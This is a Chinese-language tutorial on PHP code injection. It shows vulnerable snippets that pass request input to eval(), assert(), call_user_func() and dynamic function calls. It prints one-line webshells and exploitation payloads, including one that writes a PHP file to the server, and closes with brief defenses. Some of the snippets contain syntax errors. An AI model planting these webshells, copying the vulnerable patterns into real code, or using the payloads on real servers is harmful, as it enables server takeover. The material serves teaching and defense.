PHP代碼注入詳解


PHP代碼注入的原理和解析

PHP代碼注入靠的是RCE,即遠程代碼執行。
指應用程序過濾不嚴,hacker可以將代碼注入到服務器進行遠程的執行。
危害和SSRF相似,通過這個漏洞可以操控服務器的動作。
最典型的就是一句話木馬
PHP代碼漏洞注入的兩個要素:

  • 程序中含有可執行的PHP代碼函數
  • 傳入第一點的參數,客戶端可控,直接修改或者影響

下面將對PHP相關函數和語句以及注入方法進行解釋

eval()

eval()函數在很多語言中都有,比如Python、PHP。
eval函數的作用是將字符串作為PHP語句來執行
例如

<?php
if(isset($_GET['code']){
	@$code=$_GET['code'];  //使用@表示不顯示錯誤
	eval($code);
}else{
	echo "please submit code!"
}
?>

當然也可以不適用$_GET,使用其他預定義超全局數組變量都可以。

如果此時我在里面輸入:

http://www.abc.com/code?=phpinfo();

就可以彈出php的信息。

assert()函數

這個函數和eval()函數一樣,同樣可以將函數里面的內容作為PHP代碼執行:
但是eval()是語句結構,assert()函數的功能更加全面。
如果在代碼注入的時候發現eval() 沒有用的話可以嘗試替換位assert()函數。

<?php
if(isset($_GET['code']){
	$code=$_GET['code'];
	assert($code);
}else{
	echo "please submit code!"
}
?>

其用法和eval()一致。

system()函數

傳遞的字符串command作為系統命令執行,並且將指返回給第二個參數return_var

system(string $command, int &$return_var): string

所以,綜上所述,一句話木馬都可以表示為:

<?php @eval($_GET["sky"]);?>

<?php @assert($_GET["sky"]);?>

<?php @system($_GET["sky"]);?>

preg_replace()函數

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。

參數說明:

  • $pattern: 要搜索的模式,可以是字符串或一個字符串數組。

  • $replacement: 用於替換的字符串或字符串數組。

  • $subject: 要搜索替換的目標字符串或字符串數組。

  • $limit: 可選,對於每個模式用於每個 subject 字符串的最大可替換次數。 默認是-1(無限制)。

  • $count: 可選,為替換執行的次數。

這個有什么注入點?當/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼來執行。
比如:

$template = preg_replace("/[\n\r\t]*\{block\/(\d+?)\}[\n\r\t]*/ie", "\$this->blocktags('\\1')", $template);

call_user_func()函數

把第一個參數作為回調函數調用。

<?php
if(isset($_GET['fun'])){
	$fun=$_GET['fun'];
	$para=$_GET['para'];
	call_user_func($fun,$para);
}
?>

如果我們傳遞參數:

http://www.abc.com/?fun=assert&para=phpinfo()

意思就是,fun需要書寫一個真實的函數,而para這是這個函數的參數,這樣傳參也可以被執行。

此時這里fun不能使用eval,因為eval是語句結構,建議使用assert。

$a($b)函數

這是動態函數的寫法,和call_user_func()參數的傳遞有些類似

if(isset()){
	$a=$_GET['a'];
	$b=$_GET['b'];
	$a($b);
}

常見的PHP代碼注入還有這些:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引號,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
遇到了再查吧,我是記不住那么多

漏洞利用

下面列出簡單的漏洞利用方法:

  • 一句話木馬:?code=@eval($_POST['password']);
  • 獲取文件當前絕對路徑:__FILE__是預定義常量,為文件的當前絕對路徑,用法:?code=print(__FILE__);
  • 寫文件:使用file_put_contents()函數。前提是要知道可寫目錄,可以用hackbar進行提交,例如:?code=var_dump(file_put_contents($_POST['a'],$_POST['b'])); 然后再hackbar使用post提交為:a=a.php&b=<?php phpinfo();?>,然后就可以在當前目錄下創建一個a.php文件了

防御方法:

  • 不要使用eval函數
  • 如果使用一定要經過嚴格的過濾
  • preg_replace放棄使用/e修飾符
  • disable_functions=assert()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM